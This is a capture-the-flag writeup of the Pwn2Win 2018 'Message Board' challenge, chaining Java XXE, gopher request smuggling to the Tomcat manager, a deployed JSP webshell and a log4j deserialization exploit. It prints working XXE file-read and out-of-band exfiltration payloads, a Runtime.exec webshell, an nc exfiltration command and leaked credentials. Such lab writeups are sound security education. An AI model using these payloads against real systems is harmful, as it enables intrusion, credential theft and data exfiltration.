From XXE to RCE: Pwn2Win CTF 2018 Writeup

10 minute read

I solve a great web challenge Message Board in Pwn2Win CTF 2018. The author of the challenge is pimps (@marcioalm). The challenge is about how to exploit JAVA XXE (XML External Entity) to execute arbitrary code!

This writeup is also posted in Balsn CTF writeup.

Message Board I (File Inclusion)

This challenge consists of 3 flags. We need file inclusion to get the first flag.

In this challenge, we can create/delete/read a message using JSON format. There are already 3 notes in the server. They are related to XML ,gopher protocol and json respectively. It seems like a hint.

Information Leak

Let’s first try to add a message but it’s not a valid JSON format. We get this juicy error information (some are omitted):

javax.servlet.ServletException: Servlet execution threw an exception
java.lang.Error: Error: could not match input com.sun.jersey.json.impl.reader.JsonLexer.zzScanError(



The footer in the error page and the header of the server indicate the backend is Apache Tomcat/6.0.26 + Apache-Coyote/1.1. The server uses jersey library to parse JSON. However, the class is named JsonXmlStreamReader.

We know that in XML, there is a notorious vulnerability called XXE. Maybe it’s possible to include external entity in JSON?

After some Google, I found this post from 2009. I seems like the library will parse $ and @ symbol. You may refer to this CVE exploiting this.

In the source code, the symbols indeed have special meanings in the library. However I didn’t dive into this too deep.


Then I build the jersey server from this example to test the parser myself. In the example above, the application/json header needs to be explicitly set. I start to wonder what if I set to other type? And bingo! It works! The server will parse the request body according to the content-type header.

curl -X PUT '' -H 'Content-Type: application/xml; charset=utf-8' -d @mar2.xml -sD -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>                                                                

Therefore that’s try XXE:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>                                                             

Note that XXE can also be used to list directory! <!ENTITY xxe SYSTEM "file:///">] will list all the file and directory on the root. The flag is in /flag/flag. CTF-BR{TYPE_CONFUSION_ON_APIS_ARE_LOVELY_WITH_XXE_DONT_U_THINK??}.

I think this is intended solution due to type confusion. It might also be possible to exploit the JSON parser (e.g. CVE-2017-7525).


Message Board II (RCE)

bookgin Special thanks to the author @pimps!

In the first stage, we can list the file in the root. There is a file named root_pwd.txt:RCE_TO_PWN_ME. Thus, in this stage we have to get shell and get root!

Tomcat Manager

The only ability currently we have is file inclusion. However, since XXE includes the file in XML, the whole xml has to be parsed to XML correctly. Otherwise it will return an error. For example, we cannot read html, xml or most binary file. They will break the whole XML structure.

In /etc/passwd we found the home directory of Apache tomcat 6.0 is in /opt/tomcat. In the directory and we found: the manager directory. That means we might be able to access Apache Tomcat manager interface. However, we got 403 forbidden visiting /manager because apprarently the server only accepts connection from localhost.

Don’t forget the XXE support other protocols like HTTP and gopher (because of the hint in the message). Let’s try to make a request from localhost and access the manager API.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost:8080/manager/list">]>                                                             

Unfortunately we still got an error. It’s because the web interface is protected by HTTP basic authentication. However, in this JAVA XXE, the HTTP protocol does not implement HTTP basic authentication. We cannot use admin:password@localhost:8080 syntax to login. - We have to utilize gopher protocol!

Let’s get the password first. The password is in /opt/tomcat/conf/tomcat-users.xml. However we cannot directly read this file because it will break the xml parser. We have to use some clever technique to bypass this limitation - out-of-band.

<?xml version="1.0" ?>
<!ENTITY % asd SYSTEM "">


<!ENTITY % d SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml">
<!ENTITY % c "<!ENTITY rrr SYSTEM ';'>">

Basically, it first includes the XML DTD, and then it reads the file. Instead of rendering in XML, it sends the file content to us through http protocol. That’s why it’s called out-of-band. Here is the password file of tomcat manager:

  <role rolename="manager"/>
  <user name="admin" password="sup3rs3cr3tp4ssc0d3" roles="manager"/>

Almighty Gopher

Since the HTTP protocol in this JAVA XML has no support of HTTP basic authentication, we have to leverage gopher to make the following request:

GET /manager/list HTTP/1.1
Host: localhost:8080
Authorization: Basic YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw==
Connection: close
  1. The host header is necessary. Otherwise Apache server will return an error.
  2. Connection: close is essential. By default gopher protocol doesn’t close the connection. This will make the whole connection hang. Therefore we should ask the server side to close the connection.

Simply use URL encoding (percent-encoding) to insert CRLF.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY rrr SYSTEM "gopher://localhost:8080/_GET%20/manager/list%20HTTP/1.1%0d%0aHost%3a%20localhost%3a8080%0d%0aAuthorization%3A%20Basic%20YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw%3D%3D%0d%0aConnection%3a%20close%0d%0a">

And our payload works! The server will return a list of applications.

Gopher Pitfall (Intended Solution 1)

In Tomcat manager, we can deploy an application remotely. Therefore our plan is to utilize gopher to smuggle the HTTP protocol, and deploy a malicious application!

I install a Tomcat docker locally to see the payload of the HTTP request. When deploying an application remotely, the browser will send a HTTP PUT request.

PUT /manager/deploy?path=/_ HTTP/1.1
Host: localhost:8080
Content-Length: 1234
Authorization: Basic YWRtaW46c3VwM3JzM2NyM3RwNHNzYzBkMw==
Connection: close

[WAR application]

In order to create a malicious WAR application and deploy to Tomcat, I found a great Tomcat backdoor example. Here is another official example of a Tomcat WAR application. In fact, we can omit WEB-INF/web.xml and META-INF directory and files. Just creating a .war file with index.jsp is enough. Additionally, both jar -cvf and zip can create a valid WAR application.

Here is my damn-small webshell index.jsp. Then zip -r pwn.war index.jsp this file.

void f(String k) throws{
  Runtime.getRuntime().exec(k == null ? "true": k);
<% f(request.getParameter("_")); %>

Note: Actually you can use a common webshell, but I found when the POST body is more than 1200 bytes, the connection will time out. I think it’s due to the firewall, since pwn2win CTF uses some VPN isolated environment for this challenge. After I get the shell of the remote machine and I try to download some other files from my computer, the connection will timeout once the file size is more than 1200 bytes approximately. Thus I have to split the file into small pieces……

ow we can just mimic the request using gopher. Unfortunately, the JAVA XXE gopher protocol doesn’t support all the non-ascii characters. Any character above than %7f will lead to some problems. gopher will append some \xc2 \xc3 …… In BlackHat 2012, SSRF VS. Business by Polyakov et al. mentioned this behevior. Refer to the slide P.71 and paper P.25. Thanks to @pimps for letting me know that.

The symbols from 7A to 88 in hex were changed by gopher to the ? symbol.

However, @pimps creates a amazing tool gopher-tomcat-deployer to create a zip file in ASCII range (0x00-0x7f):

  1. Timestamp: simply set it to a time in ASCII range
  2. CRC32: just append whitespace in the uncompresseed file and try to recompute again

Finally, the payload:

<%!void f(String k)throws{Runtime.getRuntime().exec(k==null?"true":k);}%><%f(request.getParameter("_"));%>


Then visit MYIP to get RCE. I don’t know why the bash reverse shell doesn’t work, so I use python revere shell with pty. Simply run su - with password RCE_TO_PWN_ME to get the flag in /root!

CTF-BR{W00T_RCE???_ALL_HAIL_TO_GOPHER_THE_BEAVER_OF_PWNAGE} . (There is an extra { in the flag.)

jar (Possibly Intended Solution 2)

In the tomcat manager doc, it supports deploy WAR application from a local file. If we can somehow upload a malicious WAR file to the server, we can deploy the application using file:/PATH.

In fact, JAVA XXE also supports jar: protocol. Refer to XML Schema, DTD, and Entity Attacks P.15 - 17 by Timothy D. Morgan (@ecbftw).

The attack works by sending an initial request which asks Xerces to fetch a jar URL from a web server controlled by the attacker. Java downloads this file to a designated temporary directory using a randomly selected file name.

Since we can include any file in the server, it’s easy to locate the temporary JAR file in /opt/tomcat/temp. One can leverage this technique to create temporary WAR file, and the use deploy?war=file:/opt/tomcat/temp/... to upload the backdoor.

I didn’t try this but I can see the temporary file in /opt/tomcat/temp. It’s likely this challenge can also be solved in this way.

Failed Attempts

  • Bypass gopher replacement
    • Percent-encoding doesn’t work because gopher will replace it. Sending raw byte doesn’t work either due to XML parsing failure.
    • XML escape characters #&x60; doesn’t work either.
    • Utilize XML encode. Maybe we can find a encoding supporting raw byte?
  • Deploy application using HTTP
    • Because in the document, the war is described as a class. This class should support HTTP so I tried this deploy?war=http:// , deploy?war=jar:http:// but none of them works.

Message Board III (log server RCE)

The step 3 is to pwn the Apache log4j server in LAN. Let’s first retrieve some information:

  • /etc/hosts: We see this line log4jserver.local
  • Sorry I forget the exact path. The file is in somewhere in /opt/tomcat:
    log4j.rootLogger=DEBUG, server 
    # to connect to the remote server  
    # set set that layout to be SimpleLayout 

Also, the log4jserver has firewalls. It can only communicate with this server of the challenge.

Google log4j rce. We found CVE-2017-5645.

java -jar ysoserial-modified.jar CommonsCollections6 bash 'find / | nc 1234' > payload

# upload the payload to the challenge server
cat payload | nc log4jserver.local 1337

Get the flag easily! CTF-BR{<3<3<3_SERIALIZATION_IS_LOVE_<3<3<3}

Failed Attempts

  • Send the payload using gopher because I haven’t solved step 2 first
    • I contact to the organizers and they said I need to solve step 2 first.
    • The payload contains non-ascii bytes which gopher will replace them……
    • The payload is more than 1200 bytes……